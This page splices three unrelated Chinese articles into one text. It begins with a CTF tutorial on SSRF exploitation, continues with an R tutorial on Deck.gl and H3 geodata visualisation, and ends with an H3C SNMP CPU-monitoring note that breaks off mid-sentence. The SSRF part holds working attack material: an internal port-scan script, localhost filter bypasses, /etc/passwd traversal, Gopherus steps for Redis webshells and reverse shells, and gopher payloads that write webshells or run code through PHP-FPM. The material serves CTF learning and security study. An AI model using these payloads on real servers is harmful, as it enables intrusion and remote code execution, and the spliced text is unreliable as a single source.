• 发布时间1:2024-06-21 07:00:01•浏览次数:153
本文首发于"合天网安实验室" 作者:Kawhi
本文涉及的实操——https://www.hetianlab.com/expc.do?ec=ECID725a-bf5b-43a5-a0d8-21cdb973983f&pk_campaign=toutiao-wemedia
(SSRF(server-side request forge,服务端请求伪造),是攻击者让服务端发起构造的指定请求链接造成的漏洞。通过该实验了解SSRF漏洞的基础知识及演示实践。)
有关SSRF(Server-Side Request Forgery:服务器端请求伪造)介绍的文章很多了,这里主要是把自己学习和打ctf中遇到的一些trick和用法整理和记录一下。
有个最基本的问题就是,如何判断ctf题目是考察SSRF或者说存在SSRF的点呢,首先要知道出现ssrf的函数基本就这几个file_get_contents()、curl()、fsocksopen()、fopen(),如果获取到题目源码了,源码中存在这些个函数就大致可以判断是否有ssrf,如果没有题目的源码,ssrf的入口一般是出现在调用外部资源的地方,比如url有个参数让你传或者是在html中的输入框,然后就用http://,file://,dict://协议读取一下。
举个例子,近日打的西湖论剑有一道题为flagshop中用ssrf读文件
探测内网
在CTF中,ssrf最常见的就是探测内网,如果找到了内网IP的网段,可以尝试用暴力破解去探测内网的IP,下面给出几种常见的探测方法。
这里给出一个通用的python脚本
# -*- coding: utf-8 -*-
import requests
import time
ports = ['80','6379','3306','8080','8000']
session = requests.Session();
for i in range(1, 255):
ip = '192.168.0.%d' % i #内网ip地址
for port in ports:
url = 'http://ip/?url=http://%s:%s' %(ip,port)
try:
res = session.get(url,timeout=3)
if len(res.text) != 0 : #这里长度根据实际情况改
print(ip,port,'is open')
except:
continue
print('Done')
这里写的是爆破指定的一些端口和IP的D段,注意的是有些题目会给出端口的范围,就可以把ports改为range()指定为一定的范围,然后返回的长度len(res.text)要先自己测一下。
可以选择用burpsuite软件中Intruder去爆破,具体过程就不赘述了。
扫描目标开放端口,直接用nmap一把梭。
nmap -sV ip
nmap -sV ip -p6379 //指定6379端口扫描
练习:可以在CTFHub中技能树->ssrf->端口扫描中尝试一下。
SSRF中的bypass
在ctf中,有时候会ban一些指定的ip,比如127.0.0.1,有时候是检查一整段127.0.0.1,或者是通过正则去匹配逐个字符,这里介绍一下如何去绕过这些WAF。
有一个网站地址是:xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子:
当我们访问:http://127.0.0.1.xip.io/1.php,实际上访问的是http://127.0.0.1/1.php。
像这种网址还有nip.io,sslip.io。
如果php后端只是用parse_url函数中的host参数判断是否等于127.0.0.1,就可以用这种方法绕过,但是如果是检查是否存在关键字127.0.0.1,这种方法就不可行了,这里介绍第二种302方法。
短地址跳转绕过,这里也给出一个网址4m.cn
直接用https://4m.cn/FjOdQ就就会302跳转,这样就可以绕过WAF了。
可以使用一些不同的进制替代ip地址,从而绕过WAF,这里给出个php脚本可以一键转换。
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>
注意八进制ip前要加上一个0,其中八进制前面的0可以为多个,十六进制前要加上一个0x。
如果你自己有域名的话,可以在域名上设置A记录,指向127.0.0.1。
http://www.baidu.com@127.0.0.1与http://127.0.0.1请求是相同的。
1. http://localhost/
2. http://0/
3. http://[0:0:0:0:0:ffff:127.0.0.1]/
4. http://[::]:80/
5. http://127。0。0。1/
6. http://①②⑦.⓪.⓪.①
7. http://127.1/
8. http://127.00000.00000.001/
第1行localhost就是代指127.0.0.1
第2行中0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
第3行指向127.0.0.1,在liunx下可用,window测试了下不行
第4行指向127.0.0.1,在liunx下可用,window测试了下不行
第5行用中文句号绕过
第6行用的是Enclosed alphanumerics方法绕过,英文字母以及其他一些可以网上找找
第7.8行中0的数量多一点少一点都没影响,最后还是会指向127.0.0.1
不存在协议头绕过
有关file_get_contents()函数的一个trick,可以看作是SSRF的一个黑魔法,当PHP的 file_get_contents() 函数在遇到不认识的伪协议头时候会将伪协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。
例子:
<?php
highlight_file(__FILE__);
if(!preg_match('/^https/is',$_GET['a'])){
die("no hack");
}
echo file_get_contents($_GET['a']);
?>
此处限制我们只能读https开头的路径,但利用这个特性我们可以构造:
httpsssss://
配合目录回退读取文件的两种方式:
httpsssss://../../../../../../etc/passwd
httpsssss://abc../../../../../../etc/passwd
这样做的目的就是可以在SSRF的众多协议被ban的情况下来进行读取文件。
在ctf.show月饼杯的web2_故人心就遇到这个点。
URL的解析问题
绕过端口:
我们在phpstudy中写下ssrf.php
<?php
$url = 'http://'. $_GET[url];
$parsed = parse_url($url);
if( $parsed[port] == 80 ){
readfile($url);
} else {
die('You Shall Not Pass');
}
并在使用python在另一个端口起一个服务
在ssrf.php中代码限制parse_url中的port只能等于80,如果我们需要用readfile去读其他端口的文件的话,可以用如下绕过:
http://127.0.0.1/ssrf.php?url=127.0.0.1:11211:80/1.txt
可以看到成功读取了11211端口中的1.txt文件,这里借用blackhat的一张图。
可以看出readfile函数获取的端口是前面一部分的,而parse_url则是最后冒号的端口,利用这种差异的不同,从而绕过WAF。
这两个函数在解析host的时候也有差异,如下图
从图中可以看到curl解析的是第一个@后面的网址,而parse_url解析的是第二个@的网址。
在极客大挑战有一道题就考了这个点,源码如下:
<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?://.*(/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
?>
可以看到check_inner_ip 通过 url_parse 检测是否为内网ip,如果满足不是内网 ip ,通过 curl 请求 url 返回结果,这题就可以利用curl和parse_url解析的差异不同来绕过,让 parse_url 处理外部网站,最后 curl 请求内网网址。
最后的payload为
http://ip/challenge.php?url=http://@127.0.0.1:80%20@www.baidu.com/flag.php
有关URL的解析问题更加详细可参考:https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
攻击Redis服务
Redis一般都是绑定在6379端口,如果没有设置口令(默认是无),攻击者就可以通过SSRF漏洞未授权访问内网Redis,一般用来写入Crontab定时任务用来反弹shell,或者写入webshell等等。
在CTF题目中如果找到了内网的服务开了6379端口,一般来说就是Redis未授权访问漏洞,并且没有ban掉gopher://,可以用网上的脚本一把梭。这里推荐一个工具gopherus:https://github.com/tarunkant/Gopherus
运行命令:
python gopherus.py --exploit redis
之后具体操作看图:
首先会让你选择ReverseShell/PHPShell,前者是反弹shell,后者是写入shell,这里我们选择写入shell,然后第二步让你选择默认目录,这里一般选择默认即可,第三步写入要执行的PHP代码。
在有SSRF漏洞的地方输入生成的payload—即gopher://127.0.0.1:6379后面一大段,接下来会在目录下生成shell.php。
要注意的是如果是在html的输入框中直接输入提交就行,但要在浏览器的URL输入的话,一定要记得URL编码一次。
相关例题:[GKCTF2020]EZ三剑客-EzWeb或者CTFHub中技能树->ssrf->redis
对于Redis服务一般还有通过写入定时任务来触发反弹shell的操作,可以使用上面的工具选择ReverseShell也可以一键生成payload
选择ReverseShell,然后写入你要反弹到的VPS的地址,因为这里监听端口工具写好是1234了,所以我们直接在VPS监听nc -lvp 1234即可。
因为我没有在CTF题目中利用过反弹shell这个点,这里就不演示过程了,至于复现过程的话可以在Weblgic靶场复现一下反弹shell,相关的文章讲解也有很多,这里不再赘述了。
攻击Mysql服务
如果内网开启了3306端口,存在没有密码的mysql,则也可以使用gopher协议进行ssrf攻击。
本地复现过程:
先在本地新建一个无密码的用户
CREATE USER 'kawhi'@'localhost';
GRANT ALL ON *.* TO 'kawhi'@'localhost';
运行完成之后可以打开phpmyadmin登录看看是否成功,然后这里比较简单的方法也是利用上述工具gopherus。
第一步写入用户的名字,第二步写入要查询的语句,将生成的payload再url编码一次,直接打。
可以看到成功读取到users表的信息,达到了我们mysql未授权访问数据的目的。
这种利用SSRF打mysql也曾经在CTF中出现过:ISITDTU 2018 Friss这道题,题目复现过程可参考:https://xz.aliyun.com/t/2500,这里就不赘述了。
Gopher发送请求
SSRF漏洞是服务端请求伪造攻击,不论是GET或者是POST方法,都是为了达到一个目的,就是让服务端帮我们来执行请求。
那么在CTF中什么情况需要利用到这种方法呢,比如发现了一个内网的应用有上传的功能,我们需要通过POST提交数据,而且Gopher协议没有被ban,我们就可以考虑构造一个请求去打内网,下面先从本地看看如何构造:
通常,我们可以利用gopher://协议可以用来发送Get和Post请求,需要注意的点是要对发送的请求头中的空格和一些特殊字符进行url编码,如果是在URL中提交payload的时侯要再进行一次url编码,先来看看如何发送简单的请求。
在phpstudy写入1.php
<?php
echo "Hello".$_POST['a'];
burpsuite抓包获取请求头,POST包的请求头有很多行,我们用的时候不用全部带上,但是要记得加上Content-Type和Content-Length,当然如果你全部带也是可以的。
POST /1.php HTTP/1.1
Host: 192.168.0.102
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
a=world
然后需要对空格和一些特殊字符进行url编码,注意把其中的换行的地方加上%0D%0A,当然手动加肯定是太麻烦了,这里给出一个脚本。
一键编码脚本:
import urllib
import requests
test =\
"""POST /1.php HTTP/1.1
Host: 192.168.0.102
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
a=world
"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print(result)
在里面加上你的请求体运行,然后我们在输出结果前面手动加上gopher协议头和IP:端口,最终为:
gopher://192.168.0.102:80/_POST%20/1.php%20HTTP/1.1%0D%0AHost%3A%20192.168.0.102%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%207%0D%0A%0D%0Aa%3Dworld%0D%0A
然后用curl命令发出我们的请求,可以看到成功获取响应包了。
需要注意的是,如果要在url传入的话需要将发送的POST后面一大串再url编码一次,比如,我们在phpstudy写入一个有ssrf漏洞的ssrf.php
<?php
function curl($url){
//创建一个新的curl资源
$ch = curl_init();
//设置URL和相应的选项
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_HEADER,false);
//抓取URL并把它传递给浏览器
curl_exec($ch);
//关闭curl资源,并且释放系统资源
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
直接我们上面的payload传入url,会发现没回显。
把gopher协议全部再url编码一遍就可以成功回显。
GET请求发送和POST请求基本一样,这里就不再赘述了。
相关例题:2020强网杯half_infiltration
通过前面一系列操作获得ssrf.php
<?php
//经过扫描确认35000以下端口以及50000以上端口不存在任何内网服务,请继续渗透内网
$url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false;
if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
die("");
}
if($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_exec($ch);
curl_close($ch);
}
?>
跑端口40000跑出来个登录框,然后有上传功能,参数file和content是上传文件
于是用gopher协议发送一个POST请求写马,payload如下:
gopher://127.0.0.1:40000/_POST /index.php HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=bv2afbkkbbpgkio8tjmai40ob7
Content-Length: 174
Content-Type: application/x-www-form-urlencoded
Connection: close
file=php://filter/%2577rite=string.rot13|convert.Base64-decode|convert.iconv.utf-7.utf-8/resource=1.php&content=K0FEdz9waHAgZXZhbCgrQUNRQVh3LUdFVCtBRnMtMCtBRjApK0FEcz8rQUQ0LQ
最后payload如下,传入参数需要注意二次url编码:
http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=gopher://127.0.0.1:40000/_POST%2520/index.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250ACookie%253A%2520PHPSESSID%253Dbv2afbkkbbpgkio8tjmai40ob7%250AContent-Length%253A%2520174%250AContent-Type%253A%2520application/x-www-form-urlencoded%250AConnection%253A%2520close%250d%250A%250Afile%253Dphp%253A//filter/%25252577rite%253Dstring.rot13%257Cconvert.Base64-decode%257Cconvert.iconv.utf-7.utf-8/resource%253D1.php%2526content%253DK0FEdz9waHAgZXZhbCgrQUNRQVh3LUdFVCtBRnMtMCtBRjApK0FEcz8rQUQ0LQ
PHP-FPM攻击
首先,PHP-FPM是实现和管理FastCGI的进程,是一个FastCGI协议解析器,而Fastcgi本质是一个通信协议,类似于HTTP,都是进行数据交换的一个通道,通信过程如下:
TCP模式下在本机监听一个端口(默认为9000),Nginx把客户端数据通过FastCGI协议传给9000端口,PHP-FPM拿到数据后会调用CGI进程解析。
而PHP-FPM攻击是通过伪造FastCGI协议包实现PHP代码执行,我们可以通过更改配置信息来执行任意代码。php中有两个非常有趣的配置项,(想了解更多关于php配置项,可以看我之前写的一篇文章:CTF中.htaccess文件的利用),分别为auto_prepend_file和auto_append_file,这两个配置项是使得php在执行目标文件之前,先包含配置项中指定的文件,如果我们把auto_prepend_file或auto_append_file的值设定为php://input,就能包含进POST提交的数据。
但是这里有个问题就是php://input需要开启allow_url_include,这里可以利用PHP_ADMIN_VALUE,上一篇说到PHP_ADMIN_VALUE不可以利用在.htaccess,但是FastCGI协议中PHP_ADMIN_VALUE却用来可以修改大部分的配置,我们利用PHP_ADMIN_VALUE把allow_url_include修改为True。
复现过程如下:
第一步:
现在liunx下启动一个监听并指定写入1.txt。
第二步:
这里使用P神写好的一个exp
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
把代码保存为python文件,我这里为1.py,运行并-c写入要执行的php代码
python 1.py -c "<?php var_dump(shell_exec('uname -a'));?>" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php
然后会生成一个1.txt文件
第三步:
将生成的1.txt文件双url编码,老生常谈,因为要在浏览器url输入必须要再编码一次,这里直接给出脚本,脚本我顺便加上了gopher协议等等可以直接打,如果题目ip不同可以自行更改。
import urllib.parse
f = open(r'1.txt','rb')
s = f.read()
s = urllib.parse.quote(s)
s = urllib.parse.quote(s)
print("gopher://127.0.0.1:9000/_"+s)
运行得到
gopher://127.0.0.1:9000/_%2501%2501E%25D3%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504E%25D3%2501%25E7%2500%2500%250E%2502CONTENT_LENGTH41%250C%2510CONTENT_TYPEapplication/text%250B%2504REMOTE_PORT9985%250B%2509SERVER_NAMElocalhost%2511%250BGATEWAY_INTERFACEFastCGI/1.0%250F%250ESERVER_SOFTWAREphp/fcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250F%251BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%250B%251BSCRIPT_NAME/usr/local/lib/php/PEAR.php%2509%251FPHP_VALUEauto_prepend_file%2520%253D%2520php%253A//input%250E%2504REQUEST_METHODPOST%250B%2502SERVER_PORT80%250F%2508SERVER_PROTOCOLHTTP/1.1%250C%2500QUERY_STRING%250F%2516PHP_ADMIN_VALUEallow_url_include%2520%253D%2520On%250D%2501DOCUMENT_ROOT/%250B%2509SERVER_ADDR127.0.0.1%250B%251BREQUEST_URI/usr/local/lib/php/PEAR.php%2501%2504E%25D3%2500%2500%2500%2500%2501%2505E%25D3%2500%2529%2500%2500%253C%253Fphp%2520var_dump%2528shell_exec%2528%2527uname%2520-a%2527%2529%2529%253B%253F%253E%2501%2505E%25D3%2500%2500%2500%2500
这里我在CTFhub的FastCGI环境直接打了,当然本地也是可以的,可以看到我们下面的PHP代码成功包含并执行了。
<?php var_dump(shell_exec('uname -a'));?>
DNS-rebinding
有时候ssrf的过滤中会出现这种情况,通过对传入的url提取出host地址,然后进行dns解析,获取ip地址,然后对ip地址进行检验,如果合法再利用curl请求的时候会发起第二次请求。
DNS-rebinding就是利用第一次请求的时候解析的是合法的地址,而第二次解析的时候是恶意的地址,这个技术已经被广泛用于bypass同源策略,绕过ssrf的过滤等等。
利用过程:
首先需要拥有一个域名,然后添加两条记录类型为A的域名解析,一条的记录值为127.0.0.1,另一条随便写个外网地址即可
但是这种方法是随机解析的,所以只有在第一次解析出来是个外网ip,第二次解析出来是个内网ip才能成功,也就是说成功的概率为1/4。
这里我在CTFhub的DNS重绑定实验下直接演示:
如果没有域名的话,可以去平台http://ceye.io/上的dns rebinding工具,利用过程如下:
在profile下添加内网地址
这样的话是会随机返回地址的,也能完成DNS-rebinding攻击
关于更多的DNS-rebinding攻击利用方法见参考链接
在ctf中ssrf一般不会单独出题,大多数情况下是作为其中一个利用点,知识点看起来就那几个,总结起来还挺多的,由于水平有限,本篇可能还有一些点没有提到,比如赵总最近写了一个ssrf新的利用方法:https://www.zhaoj.in/read-6681.html,有兴趣可以看看。
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
http://www.bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/
背景介绍
如何大规模可视化地理数据一直都是一个业界的难点,随着 2015 年起 Uber 在这一领域的发力,构建了基于 Deck.gl + H3 (deckgl,h3r) 的大规模数据可视化方案。一方面,极大地满足了日常前端开发者的需求。另一方面,也极大地方便了数据科学家的可视化工作。在大规模空间轨迹分析、交通流量与供需预测等领域这一方案正得到广泛应用,突破了传统方法中数据量(通常不会超过 10W 个原始点)的瓶颈问题,实现百万点绘制无压力,并且可以结合 GPU 实现加速渲染。
举例
具体而言,比如,在移动互联网中常见的一个场景,预测城市中每个区域的供给和需求。在这个过程中,通常需要将预测的结果进行可视化以追踪模型的表现和问题。
在传统的数据量下(比如以行政区或街道为单位)通常是 1000 个多边形或者点的数量级进行城市数据的汇总或者采样,在这种数据量条件下直接查询和渲染数据并不会出现瓶颈问题。
但是,随着移动互联网的发展,涌现出了精度更高的需求(10 米或 100 米),以求更精细地追踪用户在末端网络上的需求。通常这种场景都是至少百万个多边形或者点的数据量级,在这种条件下粗暴地直接查询和渲染是完全不可行的。
为了实现大规模地理数据可视化中,需要从 空间划分 和 渲染引擎 两方面入手。
空间划分
什么是空间划分
通过空间划分,建立数据库索引可以实现高效的实时查询服务,比如周边车辆位置查询,周边餐厅位置查询等。
传统的空间划分方法主要分为两类:
R-tree 简单来说是将空间划分为若干个不规则的边界框矩形的 b + 树索引,适用于面、线数据,查询时间复杂度为 O(n)。
Geohash 简单来说是将二维的经纬度转换成字符串的四叉树线性索引,适用于点数据,查询时间复杂度为 O(log(N))
下面是动态单元与静态单元的对比:
对比维度动态单元 / R-tree静态单元 / Geohash实现难度难易邻近搜索难易水平扩张难易索引精度高低
动态单元通常应用于对精度要求苛刻的场景,比如共享单车的违停区域判罚。
在本例中,供需预测对于几何边缘并没有高精度要求,所以牺牲一部分尽可能小的索引精度来换取计算性能是被允许的,此时,静态单元是优于动态单元的选择。
静态单元对比
常见的静态单元除 geohash 以外还有 S2 。其中 S2 和 geohash 非常类似,也是基于四叉树的一种方法,只是在填充空间时使用了希尔伯特曲线而不是 geohash 中的 Z 阶曲线使得索引更加稳定,二者的详细原理分析见高效的多维空间点索引算法 — Geohash 和 Google S2。
但是,一方面,传统的地理单元比如 S2 和 geohash,在国际化业务中却存在一个致命缺陷:在不同纬度的地区会出现地理单元单位面积差异较大的情况,比如北京和新加坡的 geohash 对应面积有将近 30% 的差异。这导致业务指标和模型输入的特征存在一定的分布倾斜和偏差,使用等面积、等形状的六边形地理单元可以减少指标和特征 normalization 的成本。
另一方面,在常用的地理范围查询中,基于矩形的查询方法,存在 8 邻域到中心网格的距离不相等的问题,四边形存在两类长度不等的距离,而六边形的周围邻居到中心网格的距离却是有且仅有一个,从形状上来说更加接近于圆形。
所以,基于 hexagon 的地理单元已经成为各大厂家的首选,比如 Uber 和 Didi 的峰时定价服务。
在这样的背景下 Uber 基于六边形网格的地理单元开源解决方案 H3 应运而生,它使得部署 Hexagon 方案的成本非常低,通过 UDF、R pacakge 等方式可以以非常低的成本大规模推广。
什么是 H3
H3 的前身其实是 DDGS(Discrete global grid systems) 中的 ISEA3H,其原理是把无限的不规则但体积相等的六棱柱从二十面体中心延伸,这样任何半径的球体都会穿过棱镜形成相等的面积 cell,基于该标准使得每一个地理单元的面积大小就可以保证几乎相同。
然而原生的 ISEA3H 方案在任意级别中都存在 12 个五边形,H3 的主要改进是通过坐标系的调整将其中的五边形都转移到水域上,这样就不影响大多数业务的开展。
下面是 ISEA3H 五边形问题的示例:
# 加载相关包 library(dggridR) library(dplyr) # 构建公里网格 dggs <- dgconstruct(spacing = 1000, metric = FALSE, resround = "down") # 加载测试数据集 data(dgquakes) # 获取每个震源中心对应的网格 dgquakes$cell <- dgGEO_to_SEQNUM(dggs, dgquakes$lon, dgquakes$lat)$seqnum # 将 SEQNUM 转为网格中心 cellcenters <- dgSEQNUM_to_GEO(dggs, dgquakes$cell) # 获取每个单元的地震次数 quakecounts <- dgquakes %>% group_by(cell) %>% summarise(count = n()) # 获取地震网格单元边界 grid <- dgcellstogrid(dggs, quakecounts$cell, frame = TRUE, wrapcells = TRUE) # 更新网格单元的地震次数 grid <- merge(grid, quakecounts, by.x = "cell", by.y = "cell") # Normarlize 指标便于展示 grid$count <- log(grid$count) cutoff <- quantile(grid$count, 0.9) grid <- grid %>% mutate(count = ifelse(count > cutoff, cutoff, count)) # 获取每个国家的多边形 countries <- map_data("world") # 绘制地图 p <- ggplot() + geom_polygon(data = countries, aes(x = long, y = lat, group = group), fill = NA, color = "black") + geom_polygon(data = grid, aes(x = long, y = lat, group = group, fill = count), alpha = 0.4) + geom_path(data = grid, aes(x = long, y = lat, group = group), alpha = 0.4, color = "white") + geom_point(aes(x = cellcenters$lon_deg, y = cellcenters$lat_deg)) + scale_fill_gradient(low = "blue", high = "red") p
转化坐标系后:
# 重新在球坐标上绘制 p + coord_map("ortho", orientation = c(-38.49831, -179.9223, 0)) + theme( axis.ticks.x = element_blank(), axis.ticks.y = element_blank(), axis.text.x = element_blank(), axis.text.y = element_blank() ) + labs(x = "", y = "", title = "Your data could look like this")
可以看到此时在若干个六边形中存在五边形的情形。
在 H3 开源后,也可以使用 h3r 实现六边形的编码与解码:
# 以亮马桥地铁站为例 devtools::install_github("scottmmjackson/h3r") #或者 devtools::install_github("harryprince/h3r", ref="bug-fix/Makefile") library(h3r) df <- h3r::getBoundingHexFromCoords(39.949958, 116.46343, 11) %>% # 单边长为24米 purrr::transpose() %>% purrr::simplify_all() %>% data.frame() df %>% bind_rows( df %>% head(1) ) %>% leaflet::leaflet() %>% leafletCN::amap() %>% leaflet::addPolylines(lng = ~lon, lat = ~lat)
H3 中还提供了类似 S2 的六边形压缩技术,使得数据的存储空间可以极大压缩,在处理大规模稀疏数据时将体现出优势:
渲染引擎
什么是 Leaflet
在使用 Deck.gl 之前,业界主流的解决方案通常是另一个开源的轻量级地理数据可视化框架 Leaflet。Leaflet 经过十余年的积累已经拥有足够成熟的生态,支持各式各样的插件扩展。
序号leaflet 插件功能1leaflet基础功能,几何元素 CRUD,图层等,可结合 shiny,crosstalk2leaflet.opacity透明度调节3leaflet.extras高级功能, 包括热力图, 搜索, 米尺等4leaflet.esri高级功能,ESRI 插件 可结合 Arcgis5mapview高级功能, 多图联动等6mapedit高级功能,地图编辑7leafletCN提供高德底图
虽然 Leaflet 功能强大,不过工业界的发展也暴露出一些新的问题。如何更好地支持诸如 轨迹、风向、三维空间、六边形网格的交互式可视化此前没有好的解决方案。好在近年来 Mapbox 和 Deck.gl 正在着手改变这一现状。
什么是 Deck.gl
Deck.gl 基于 WebGL 的大规模数据可视化框架,通过响应式编程和 GPU 并行加速的方式进行高效地 WebGL 渲染,与 Mapbox GL 深度结合能够呈现非凡的 3D 视觉效果。
下面是一个具体的例子,如何以 Hexagon 可视化百万个样本点:
# 初始化 library(mapdeck) # 生成 百万数据样本点 df = data.frame(lat = rnorm(1000000,40,1),lng =rnorm(1000000,160,1)) # 以二维正态生成随机数据 # 渲染 mapdeck::mapdeck(style = "mapbox://styles/mapbox/dark-v9",token = "pk.eyJ1IjoidWJlcmRhdGEiLCJhIjoiY2poczJzeGt2MGl1bTNkcm1lcXVqMXRpMyJ9.9o2DrYg8C8UWmprj-tcVpQ") %>% mapdeck::add_hexagon(lon = "lng",lat="lat",data = df,elevation_scale = 1000)
除了六边形之外 Deck.gl 也支持其他常见几何图形,比如 Grid、Arc、Contour、Polygon 等等。 更多信息可以见官方文档: https://crazycapivara.github.io/deckgl/
地理仪表盘:结合 Shiny
Deck.gl 结合 Shiny 后,可将可视化结果输出到仪表盘上, 举个例子:
library(mapdeck) library(shiny) library(shinydashboard) library(jsonlite) ui <- dashboardPage( dashboardHeader(), dashboardSidebar(), dashboardBody( mapdeckOutput( outputId = "myMap" ), sliderInput( inputId = "longitudes", label = "Longitudes", min = -180, max = 180, value = c(-90, 90) ), verbatimTextOutput( outputId = "observed_click" ) ) ) server <- function(input, output) { set_token("pk.eyJ1IjoidWJlcmRhdGEiLCJhIjoiY2poczJzeGt2MGl1bTNkcm1lcXVqMXRpMyJ9.9o2DrYg8C8UWmprj-tcVpQ") ## 如果token 过期了,需要去Mapbox官网免费申请一个 origin <- capitals[capitals$country == "Australia", ] destination <- capitals[capitals$country != "Australia", ] origin$key <- 1L destination$key <- 1L df <- merge(origin, destination, by = "key", all = T) output$myMap <- renderMapdeck({ mapdeck(style = mapdeck_style("dark")) }) ## plot points & lines according to the selected longitudes df_reactive <- reactive({ if (is.null(input$longitudes)) return(NULL) lons <- input$longitudes return( df[df$lon.y >= lons[1] & df$lon.y <= lons[2], ] ) }) observeEvent({ input$longitudes }, { if (is.null(input$longitudes)) return() mapdeck_update(map_id = "myMap") %>% add_scatterplot( data = df_reactive(), lon = "lon.y", lat = "lat.y", fill_colour = "country.y", radius = 100000, layer_id = "myScatterLayer" ) %>% add_arc( data = df_reactive(), origin = c("lon.x", "lat.x"), destination = c("lon.y", "lat.y"), layer_id = "myArcLayer", stroke_width = 4 ) }) ## observe clicking on a line and return the text observeEvent(input$myMap_arc_click, { event <- input$myMap_arc_click output$observed_click <- renderText({ jsonlite::prettify(event) }) }) } shinyApp(ui, server)
总结
目前,在空间划分上,H3 正在超越 S2/Geohash 成为新标准,相关生态也趋于成熟。在渲染引擎上,Deck.gl 在特定领域已经全面领先 Leaflet, 相关产品不断涌现,比如对标 carto 的地理数据分析工具 kepler 和毫秒级 OLAP 交互式分析工具 OmniSci。
参考资料
RStudio Spark/Leaflet 与 GIS 最佳实践
Uber H3 原理分析
http://strimas.com/spatial/he...
https://cran.r-project.org/we...
https://en.wikipedia.org/wiki...
http://www.pyxisinnovation.co...
Large Scale Data Visualisation with Deck.gl and Shiny
https://uber.github.io/h3/
https://eng.uber.com/shan-he/
https://eng.uber.com/keplergl/
[译] 解密 Uber 数据部门的数据可视化最佳实践
gpu-accelerated-aggregation-in-deck-gl
本文已首发在统计之都,原文链接 大规模地理数据可视化入门:Deck.gl 和 H3
通过SNMP查看设备CPU利用率配置举例
摘 要:NET-SNMP是SNMP协议的一套开源实现工具,可作为NMS或Agent。本文主要介绍NET-SNMP作为NMS通过SNMP协议查看H3C设备(作为Agent)CPU利用率的配置应用。
SNMP是网络中管理设备(NMS)和被管理设备(Agent)之间的通信规则。NMS通过Get和Set等操作获取、设置Agent上变量的值,从而实现对Agent的远程管理、监控。Agent的CPU利用率就是NMS经常监控的重要变量。
CPU利用率反映了一段时间内设备CPU资源的使用情况。如果CPU利用率一直居高不下,说明设备负载较重,需要对设备当前状况进行分析,找到引起设备负载过重的原因,从而预防、诊断网络故障。
目前市场上有多种NMS产品,其中Net-SNMP作为一种开源实现的NMS在业界被广泛使用。它提供了一套完整的应用程序,实现了SNMPv1/v2c/v3功能。本文将描述如何使用Net-SNMP工具通过访问MIB对象获取设备CPU利用率。
本文主要用到Net-SNMP的snmpget功能和snmpwalk功能。
l snmpget功能:即执行一次SNMP Get操作,用来获取Agent上指定MIB对象的值。命令行格式为snmpget [OPTIONS] AGENT OID [OID]。
l snmpwalk功能:即执行一次SNMP Walk操作,用来获取Agent上多个MIB对象的值。命令行格式为snmpwalk [OPTIONS] AGENT [OID]。
以上两条命令行中各参数的含义如下:
本文通过访问H3C私有MIB来查看CPU利用率。如果想要通过对象的名称访问该节点,在访问前需要在NMS上先下载并编译hh3c-entity-ext.mib或h3c-entity-ext.mib,MIB文件可以通过H3C公司网站进行下载。如果不编译该MIB文件,则只能通过对象OID进行访问。
hh3c-entity-ext.mib是H3C new风格的MIB文件,h3c-entity-ext.mib是H3C compatible风格的MIB文件。使用哪个MIB文件由设备当前的MIB风格决定。在Agent上使用display mib-snmp命令查看设备的MIB风格,如果“Current MIB style”显示为:
l new,则需要使用hh3c-entity-ext.mib文件中的hh3cEntityExtCpuUsage节点,该节点的详细描述请参见表2。
